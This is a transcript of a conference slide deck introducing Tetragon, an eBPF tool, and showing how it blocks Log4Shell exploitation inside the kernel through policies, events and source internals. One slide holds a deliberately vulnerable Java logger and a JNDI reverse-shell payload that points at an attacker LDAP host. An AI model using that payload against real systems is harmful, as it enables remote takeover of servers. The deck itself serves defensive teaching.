Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Tetragon

Sponsored · Ship Features Fearlessly Turn features on and off without deploys. Used by thousands of Ruby developers.

 Tetragon

Introduction

Avatar for Dimitrij Klesev

Dimitrij Klesev

November 27, 2025
Tweet

More Decks by Dimitrij Klesev

Other Decks in Technology

Transcript

  1. 27.11.2025 eBPF Vienna 3 CVE-2021-44228 | Log4Shell 17 // userInput

    is ${jndi:ldap://192.168.1.11:1389/Basic/ReverseShell/192.168.1.11/9001} 18 logger.error("User input: {}", userInput); 1 import org.apache.logging.log4j.LogManager; 2 import org.apache.logging.log4j.Logger; 3 ... 4 public class VulnerableApp { 5 private static final Logger logger = LogManager.getLogger(VulnerableApp.class); 6 7 public static void main(String[] args) throws Exception { 8 HttpServer server = HttpServer.create(new InetSocketAddress(8000), 0); 9 server.createContext("/", (exchange -> { 10 try { 11 String query = exchange.getRequestURI().getQuery(); 12 ... 13 if (query != null && query.contains("=")) { 14 userInput = query.substring(query.indexOf("=") + 1); 15 } 16 ... 19 ... 20 }
  2. 27.11.2025 eBPF Vienna 6 Linux Security Modules (LSM) LSM SELinux

    AppArmor Landlock Kernel modules Disadvantages? Policies are declarative and pre-defined, not dynamically programmable Rules are written in a policy language, compiled/loaded into the kernel Can’t easily change enforcement logic based on runtime conditions without reloading
  3. 27.11.2025 eBPF Vienna 7 Userspace Userspace-based monitoring daemons commercial Host-Based

    Intrusion Detection System (HIDS) Disadvantages? Time-of-Check-to-Time-of-Use (TOCTOU) High latency Reactive, not proactive Context switch overhead
  4. 27.11.2025 eBPF Vienna 8 Userspace Userspace Monitor 👁️ Kernel Compromised

    Application Userspace Monitor 👁️ Kernel Compromised Application Kernel | User space 🐛 Bad action attempted syscall (execve, etc.) Event detected Compare event with policy 🔒 ⚠️ Event is out of policy
  5. 27.11.2025 eBPF Vienna 9 Userspace Userspace Monitor 👁️ Kernel Compromised

    Application Userspace Monitor 👁️ Kernel Compromised Application Kernel | User space ⏱️ TOCTOU Window 🔥 Bad action COMPLETES Malicious process killed Malicious code executes Send SIGKILL SIGKILL ⚡
  6. 27.11.2025 eBPF Vienna 12 What is Tetragon? Userspace Observer 👁️

    Kernel (Tetragon eBPF) Compromised Application Userspace Observer 👁️ Kernel (Tetragon eBPF) Compromised Application Kernel | User space 🐛 Bad action attempted ⚡ In-kernel enforcement syscall (execve, etc.) Compare event with policy 🔒 ⚠️ Event is out of policy
  7. 27.11.2025 eBPF Vienna 13 What is Tetragon? Userspace Observer 👁️

    Kernel (Tetragon eBPF) Compromised Application Userspace Observer 👁️ Kernel (Tetragon eBPF) Compromised Application Kernel | User space ⚡ In-kernel enforcement alt [Sigkill Policy] [LSM/fmod_ret Policy] Malicious process killed ✅ Bad action NEVER completes bpf_send_signal(SIGKILL) Return -EPERM execve() fails Out-of-policy event reported
  8. 27.11.2025 eBPF Vienna 14 Tetragon | Policies 18 matchActions: 19

    - action: "NotifyEnforcer" 20 argError: -1 1 apiVersion: cilium.io/v1alpha1 2 kind: TracingPolicy 3 metadata: 4 name: "block-log4shell-lsm" 5 spec: 6 enforcers: 7 - calls: 8 - "security_bprm_check" 9 kprobes: 10 - call: "security_bprm_check" 11 syscall: false 12 selectors: 13 - matchBinaries: 14 - operator: "In" 15 values: 16 - "/usr/bin/java" 17 - "/opt/java/openjdk/bin/java"
  9. 27.11.2025 eBPF Vienna 15 Tetragon | Policies apiVersion: cilium.io/v1alpha1 kind:

    TracingPolicy metadata: name: "block-log4shell-sigkill" spec: kprobes: - call: "sys_execve" syscall: true args: [index: 0, type: "string"] selectors: - matchBinaries: - operator: "In" values: - "/usr/bin/java" matchArgs: - index: 0 operator: "Equal" values: ["/bin/sh"] matchActions: - action: "Sigkill" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
  10. 27.11.2025 eBPF Vienna 16 Tetragon | Events 💥 exit node01

    /opt/java/openjdk/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dlog4j2.formatMsgNoLookups=false -cp .:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar VulnerableApp 255 1 $ sudo tetra getevents -o compact 2 ❓ syscall node01 /opt/java/openjdk/bin/java security_bprm_check 3 4
  11. 27.11.2025 eBPF Vienna 17 Tetragon | Events 34 "function_name": "security_bprm_check",

    35 "action": "KPROBE_ACTION_NOTIFYENFORCER", 36 "policy_name": "block-log4shell-lsm", 37 "return_action": "KPROBE_ACTION_POST" p , 22 "uid": 0, 23 "cwd": "/app", 24 "binary": "/opt/java/openjdk/bin/java", 25 "arguments": "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dlog4j2.formatMsgNoLookups=false -cp 26 "flags": "execve inInitTree", 27 "start_time": "2025-11-16T00:35:58.982606692Z", 28 "auid": 4294967295, 29 "docker": "55ef202b62bb7965d34a9d82dfaef4f", 30 "parent_exec_id": "bm9kZTAxOjk3NjQwNDExNzcxNDE6MjIyMDI=", 31 "tid": 22202, 32 "in_init_tree": true 33 }, 38 }, 39 "node_name": "node01", 40 "time": "2025-11-16T00:36:49.878270464Z" 41 }
  12. 27.11.2025 eBPF Vienna 18 Tetragon | Internals int generic_kprobe_actions(void *ctx);

    [TAIL_CALL_ACTIONS] = (void *)&generic_kprobe_actions, generic_actions(ctx, (struct bpf_map_def *)&kprobe_calls); 1 //tetragon/bpf/process/bpf_generic_kprobe.c 2 #define GENERIC_KPROBE 3 ... 4 5 6 struct { 7 __uint(type, BPF_MAP_TYPE_PROG_ARRAY); 8 __uint(max_entries, 13); 9 __type(key, __u32); 10 __array(values, int(void *)); 11 } kprobe_calls SEC(".maps") = { 12 .values = { 13 ... 14 15 ... 16 generic_kprobe_actions(void *ctx) 17 { 18 19 return 0; 20 }
  13. 27.11.2025 eBPF Vienna 19 Tetragon generic_actions() is the core function

    that executes policy actions (Sigkill, NotifyEnforcer, etc.) after Tetragon has matched a selector and determined that an event should trigger an action. | Internals 44 // 8. If postit=true, send event to userspace 45 if (postit) 46 tail_call(ctx, calls, TAIL_CALL_SEND); 47 return postit; g _ g_ p ; 32 33 actoff = pass + arg->arglen; 34 35 // 6. VERIFIER TRICK: Bound check for actions offset 36 asm volatile("%[actoff] &= 0x7ff;\n" 37 : [actoff] "+r"(actoff) 38 :); 39 actions = (struct selector_action *)&f[actoff]; 40 41 // 7. Execute the actions (Sigkill, NotifyEnforcer, etc.) 42 postit = do_actions(ctx, actions); 43 48 }
  14. 27.11.2025 eBPF Vienna 20 Tetragon | Internals 15 case ACTION_NOTIFY_ENFORCER:

    16 error = actions->act[++i]; 17 signal = actions->act[++i]; 18 argi = actions->act[++i]; 19 if (enforce_mode) { 20 do_action_notify_enforcer(e, error, signal, argi); 21 polacct = POLICY_NOTIFY_ENFORCER; 22 } else { 23 polacct = POLICY_MONITOR_NOTIFY_ENFORCER; 24 } 25 break; 12 } 13 break; 14 ... 26 ... 27 default: 28 break; 29 } 30 ... 31 return 0; 32 }
  15. 27.11.2025 eBPF Vienna 21 Tetragon so the eBPF flow is

    this (when Java tries execve("/bin/sh") ): | Internals 4 // BPF helper function BPF_FUNC_send_signal (helper ID 109) 5 send_signal(signal); 1 //tetragon/bpf/process/types/basic.h 2 FUNC_INLINE void do_action_signal(int signal) 3 { 6 } generic_actions() ├─ Reads filter_map ├─ Navigates to actions using pass + arglen ├─ Calls do_actions() │ └─ Calls do_action() │ └─ switch(ACTION_SIGKILL) │ └─ do_action_signal(9) │ └─ send_signal(9) │ └─ bpf_send_signal(9) 👈 KERNEL KILLS PROCESS └─ Returns true → sends event to userspace
  16. 27.11.2025 eBPF Vienna 22 Summary eBPF is a powerful technology

    for observability and security Tetragon leverages eBPF for real-time security monitoring and enforcement The usability and flexibility of Tetragon make it a valuable tool for modern Linux security Open Questions We looked into a "single system", what about the other parts of usual infrastructure? How to deploy Tetragon at scale? How to know what to put into the policy?